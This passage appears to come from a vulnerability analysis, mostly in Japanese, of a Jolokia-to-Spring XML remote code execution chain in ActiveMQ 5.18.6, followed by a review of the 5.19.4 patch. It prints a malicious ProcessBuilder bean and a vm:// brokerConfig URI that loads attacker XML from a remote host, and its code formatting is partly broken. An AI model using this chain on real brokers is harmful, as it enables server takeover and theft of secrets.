LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
throw errorToLog;
}
}
リモートリソースは `Utils.resourceFromString()` によって受け入れられます:```java
// activemq-spring/src/main/java/org/apache/activemq/spring/Utils.java
public static Resource resourceFromString(String uri) throws MalformedURLException {
Resource resource;
File file = new File(uri);
if (file.exists()) {
resource = new FileSystemResource(uri);
} else if (ResourceUtils.isUrl(uri)) {
try {
resource = new UrlResource(ResourceUtils.getURL(uri));
} catch (FileNotFoundException e) {
MalformedURLException malformedURLException = new MalformedURLException(uri);
malformedURLException.initCause(e);
throw malformedURLException;
}
} else {
resource = new ClassPathResource(uri);
}
return resource;
}
したがって:```text xbean:http://192.168.1.32:9999/evil.xml
は次のように簡略化される:```text
http://192.168.1.32:9999/evil.xml
and loaded as a Spring UrlResource.
reader.setValidating(isValidate()) の呼び出しは、Springの XmlBeanDefinitionReader におけるXML検証モードを制御するだけです。Beanクラス、コンストラクタ引数、ライフサイクルメソッド、またはリモートURLリソースを制限するものではありません。
ActiveMQ 5.18.6 は宣言します:```xml 5.3.39 4.25
XBean 4.25 では、`ResourceXmlApplicationContext` はコンストラクタから `refresh()` を呼び出します:```java
// org/apache/xbean/spring/context/ResourceXmlApplicationContext.java
public ResourceXmlApplicationContext(Resource resource, List xmlPreprocessors) {
super();
this.xmlPreprocessors = xmlPreprocessors;
this.resource = resource;
refresh();
}
提供されたリソースからBean定義をロードします:```java protected void loadBeanDefinitions(XmlBeanDefinitionReader reader) throws BeansException, IOException { reader.loadBeanDefinitions(resource); }
Springの`AbstractApplicationContext.refresh()`は、ビーンファクトリーを初期化し、非遅延シングルトンビーンをインスタンス化します:```java
// org/springframework/context/support/AbstractApplicationContext.java
// Instantiate all remaining (non-lazy-init) singletons.
finishBeanFactoryInitialization(beanFactory);
finishBeanFactoryInitialization() が呼び出す:```java
beanFactory.preInstantiateSingletons();
`DefaultListableBeanFactory.preInstantiateSingletons()` は、非抽象、シングルトン、非遅延のすべてのBeanを作成します。```java
for (String beanName : beanNames) {
RootBeanDefinition bd = getMergedLocalBeanDefinition(beanName);
if (!bd.isAbstract() && bd.isSingleton() && !bd.isLazyInit()) {
...
getBean(beanName);
}
}
Beanの初期化中に、Springはカスタムinitメソッドを呼び出します:```java // org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) { ... invokeInitMethods(beanName, wrappedBean, mbd); ... }
カスタムinitメソッドはBean定義から解決されます。```java
String initMethodName = mbd.getInitMethodName();
if (StringUtils.hasLength(initMethodName) &&
!(isInitializingBean && "afterPropertiesSet".equals(initMethodName)) &&
!mbd.hasAnyExternallyManagedInitMethod(initMethodName)) {
invokeCustomInitMethod(beanName, bean, mbd);
}
invokeCustomInitMethod() はリフレクティブにメソッドを呼び出します:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);
悪意のあるSpring XML bean、例えば:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>sh</value>
<value>-c</value>
<value>touch /tmp/blahblah.txt</value>
</list>
</constructor-arg>
</bean>
次の動作を引き起こします:```text ResourceXmlApplicationContext constructor -> refresh() -> XmlBeanDefinitionReader.loadBeanDefinitions() -> DefaultListableBeanFactory.preInstantiateSingletons() -> getBean("exec") -> instantiate java.lang.ProcessBuilder -> initializeBean() -> invokeInitMethods() -> invokeCustomInitMethod("start") -> ProcessBuilder.start()
これは、`XBeanBrokerFactory.createBroker()`が`BrokerService`ビーンを探すことで結果のコンテキストを検証する前に発生します:```java
ApplicationContext context = createApplicationContext(uri);
BrokerService broker = null;
try {
broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
if (broker == null) {
String[] names = context.getBeanNamesForType(BrokerService.class);
...
}
if (broker == null) {
throw new IllegalArgumentException("The configuration has no BrokerService instance for resource: " + config);
}
ブローカーの検証は Spring コンテキストのリフレッシュ後に行われます。その結果、任意の init メソッドを実行できる設定でも、後に無効なブローカー設定として拒否される可能性があります。
根本原因は、リモートで呼び出し可能な管理操作と信頼されたローカルのブローカーブートストラップメカニズムの間にある安全でないアーキテクチャ上の橋渡しです。
脆弱な設計には以下の特性があります:
exec 操作を公開しています。BrokerView.addNetworkConnector(String) は攻撃者が制御する URI 入力を受け入れます。static:(...) ディスカバリーにより、ネットワークコネクタ起動時に内包された URI が自動的に接続されます。vm:// トランスポートは単なる VM 内トランスポートではなく、指定された VM ブローカーが存在しない場合にブローカーを自動生成することもサポートします。VMTransportFactory は brokerConfig をブローカーファクトリ URI として扱い、BrokerFactory.createBroker() に転送します。BrokerFactory は XBeanBrokerFactory を介して xbean: URI をサポートします。XBeanBrokerFactory は URL リソースを受け入れ、Spring の ResourceXmlApplicationContext を構築します。これは単に "不適切な入力検証" だけの問題ではありません。脆弱な動作は、設定可能な URI インタプリタをランタイムの JMX 操作を通じて公開し、そのインタプリタが Spring のビーンライフサイクル実行に到達することを許可することによって引き起こされます。
正確な障害は、管理 API が discoveryAddress をコネクタアドレスとして扱うのに対し、下流のトランスポートスタックがそれを実行可能な設定として扱うことです。エクスプロイトパスでは、文字列は次のように評価されます:```text
network connector URI
-> discovery service URI
-> VM transport URI
-> broker creation URI
-> XBean Spring resource URI
-> Spring bean definitions
-> Java object lifecycle methods
検証が遅すぎるのは、`XBeanBrokerFactory`内の唯一のブローカー設定検証が次の後に行われるためです:```java
new ResourceXmlApplicationContext(resource)
そしてそのコンストラクタは実行する:```text refresh() -> preInstantiateSingletons() -> init-method invocation
ActiveMQがXMLに有効な`BrokerService`がないと判断するまでに、攻撃者制御のSpring Beanがすでに実行されている可能性があります。
---
### パッチ分析
該当する差分は以下でレビューされました:```bash
git diff activemq-5.18.6..activemq-5.19.4
セキュリティ関連の変更は次の場所にあります:```text activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
5.18.6では、`addNetworkConnector()`が文字列を直接転送していました:```java
public String addNetworkConnector(String discoveryAddress) throws Exception {
NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
...
connector.start();
return connector.getName();
}
5.19.4では、BrokerServiceを呼び出す前にバリデーションが追加されました:```diff
public String addNetworkConnector(String discoveryAddress) throws Exception {
同じバリデーションが `addConnector()` に追加されました:```diff
public String addConnector(String discoveryAddress) throws Exception {
+ // Verify VM transport is not used
+ validateAllowedUrl(discoveryAddress);
TransportConnector connector = brokerService.addConnector(discoveryAddress);
バリデーターは vm トランスポートスキームを拒否します:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
validateAllowedUri(new URI(uriString), 0);
}
// Validate the URI does not contain VM transport private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException { // Don't allow more than 5 nested URIs to prevent blowing the stack if (depth > 5) { throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs"); }
// First check the main URI scheme
validateAllowedScheme(uri.getScheme());
// If composite, iterate and check each of the composite URIs
if (URISupport.isCompositeURI(uri)) {
URISupport.CompositeData data = URISupport.parseComposite(uri);
depth++;
for (URI component : data.getComponents()) {
if (URISupport.isCompositeURI(uri)) {
validateAllowedUri(component, depth);
} else {
validateAllowedScheme(uri.getScheme());
}
}
}
}
// We don't allow VM transport scheme to be used private static void validateAllowedScheme(String scheme) { if (scheme.equals("vm")) { throw new IllegalArgumentException("VM scheme is not allowed"); } }
パッチ適用後の実行パスは次のようになります。```text
Jolokia exec
-> BrokerView.addNetworkConnector(String)
-> validateAllowedUrl(String)
-> validateAllowedUri(URI)
-> validateAllowedScheme("vm")
-> IllegalArgumentException("VM scheme is not allowed")
これはリクエストが到達する前にエクスプロイトをブロックします:```text BrokerService.addNetworkConnector() DiscoveryNetworkConnector.start() TransportFactory.connect() VMTransportFactory.doCompositeConnect() BrokerFactory.createBroker() XBeanBrokerFactory.createApplicationContext() ResourceXmlApplicationContext.refresh()
このパッチは、VMトランスポートのサポートをグローバルに削除するものではありません。JMX向けの`BrokerView`コネクタ作成メソッドを介した`vm://`の使用を制限します。VMトランスポートを使用する内部または信頼されたコードパスは引き続き存在します。
`VMTransportFactory.doCompositeConnect()`に対して、5.18.6と5.19.4の間でセキュリティに関連する変更は行われていません。`brokerConfig`の動作は次のままです:```java
String config = options.remove("brokerConfig");
if (config != null) {
brokerURI = new URI(config);
}
...
broker = BrokerFactory.createBroker(brokerURI);
この差分において、XBeanBrokerFactory.createApplicationContext() にセキュリティに関連する変更は加えられていません。リモートURLリソースとSpringの ResourceXmlApplicationContext の動作は、信頼されたブローカー設定の読み込みのために引き続き利用可能です。
BrokerFactory は、生の FactoryFinder から型指定された FactoryFinder<BrokerFactoryHandler> に変更されました。```diff
new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
= new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
BrokerFactoryHandler.class, null);
これは型安全性のクリーンアップであり、RCE対策ではありません。`XBeanBrokerFactory`へのスキームベースのディスパッチはそのまま残ります。
`BrokerService`は一部のパスでコネクタ起動のために`isAutoStart()`のチェックを追加しました。```diff
- connector.start();
+ if(connector.isAutoStart()) {
+ connector.start();
+ }
これはJolokiaからRCEに至るパスに対する主要な修正ではありません。主要な緩和策は、BrokerViewにおけるvm://の事前ディスパッチ拒否です。
パッチの動作概要:
BrokerView.addNetworkConnector()はstatic:(vm://...?brokerConfig=xbean:http://...)を受け入れ、下流に渡します。BrokerView.addNetworkConnector()はコネクタ作成前に指定されたURIを検証し、ネストされたvm://の使用を拒否します。VMTransportFactoryはJMXパスから到達した攻撃者制御のbrokerConfigを消費できます。VMTransportFactoryは依然としてbrokerConfigをサポートしますが、公開されたJMXパスはVMトランスポート解決前にブロックされます。ActiveMQ Classic 5.18.6における正確な脆弱性コードパスは次の通りです:```text HTTP POST /api/jolokia/ -> Jolokia exec operation -> org.apache.activemq:type=Broker,brokerName= -> BrokerView.addNetworkConnector(String) -> BrokerService.addNetworkConnector(String) -> BrokerService.addNetworkConnector(URI) -> DiscoveryNetworkConnector.setUri(URI) -> DiscoveryAgentFactory.createDiscoveryAgent(URI) -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI) -> BrokerView.addNetworkConnector(): connector.start() -> DiscoveryNetworkConnector.handleStart() -> SimpleDiscoveryAgent.start() -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent) -> TransportFactory.connect(URI) -> VMTransportFactory.doConnect(URI) -> VMTransportFactory.doCompositeConnect(URI) -> BrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createBroker(URI) -> XBeanBrokerFactory.createApplicationContext(String) -> Utils.resourceFromString(String) -> new ResourceXmlApplicationContext(Resource) -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource) -> AbstractApplicationContext.refresh() -> DefaultListableBeanFactory.preInstantiateSingletons() -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod() -> ProcessBuilder.start()
Exploitation is possible because ActiveMQ exposes a management operation that accepts a connector URI, but the downstream transport implementation can interpret that URI as broker creation configuration. The `brokerConfig` parameter crosses from transport connection logic into broker factory logic. With an `xbean:` value, it crosses again into Spring XML processing.
The Spring execution primitive is not a separate deserialization bug. It is normal Spring lifecycle behavior: a non-lazy singleton bean is instantiated during context refresh, and its configured `init-method` is invoked. A `java.lang.ProcessBuilder` bean with `init-method="start"` therefore executes a process during application context initialization.
The validation failure is an ordering flaw. ActiveMQ validates whether the XBean configuration contains a usable `BrokerService` only after `ResourceXmlApplicationContext` has already loaded the XML and initialized singleton beans. Rejection of the broker configuration after refresh does not undo side effects from bean lifecycle methods.
The 5.19.4 patch mitigates this specific path by adding URI validation in `BrokerView` before connector creation and rejecting `vm://` transport usage from the JMX management surface. The patch blocks the exposed path to `VMTransportFactory.doCompositeConnect()`; it does not remove `brokerConfig`, `xbean:` support, or Spring XBean loading from trusted internal configuration paths.
| 機能 | 悪用 |
|---|
addNetworkConnector() | 攻撃者制御のURIを受け入れる |
vm:// トランスポート | 動的ブローカー作成をトリガー |
brokerConfig= | 任意のブローカー設定をロード |
xbean: | Spring XMLローダーを呼び出す |
| リモートHTTP URL | 攻撃者制御のXMLを取得 |
| 影響 | 説明 |
|---|
| リモートコード実行 | 任意のコマンド実行 |
| コンテナ侵害 | ActiveMQコンテナの完全な侵害 |
| 認証情報の窃取 | ブローカの認証情報と秘密へのアクセス |
| ラテラルムーブメント | 隣接システムへのピボット |
| 永続化 | 悪意のあるネットワークコネクタの作成 |
| データ露出 | ブローカのメッセージとキューへのアクセス |
XBeanBrokerFactory: xbean: ブローカー設定URIを処理し、Spring/XBeanアプリケーションコンテキストを作成します。ResourceXmlApplicationContext: XMLリソースをロードし、Spring Beanファクトリのリフレッシュ(イーガーシングルトン作成を含む)を実行します。BrokerService が含まれているかどうかをチェックします。